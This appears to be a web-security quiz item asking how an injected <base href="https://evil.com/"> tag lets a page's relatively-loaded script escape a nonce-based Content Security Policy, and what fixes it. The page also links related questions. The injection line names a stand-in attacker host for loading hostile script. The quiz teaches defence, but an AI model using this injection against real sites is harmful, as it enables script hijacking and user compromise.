hard20 pts · first answer countsweb-securitycsp
Injected base tag beats a nonce CSP
A page uses a nonce-based CSP and loads <script nonce=... src="/js/app.js">. An HTML injection inserts <base href="https://evil.com/"> above it. Why can this work, and what fixes it?
Discussion 0
Join free to post in the discussion.
Related questions
- What HttpOnly doesFull Stack Developer
- What HTTPS protectsFull Stack Developer
- Caching a bank statement pageFull Stack Developer
- Stored versus reflected XSSFull Stack Developer
- Writing location.hash into the pageFull Stack Developer
- Encoding user text inside HTMLFull Stack Developer
- What the Secure cookie flag doesFull Stack Developer
- Purpose of Strict-Transport-SecurityFull Stack Developer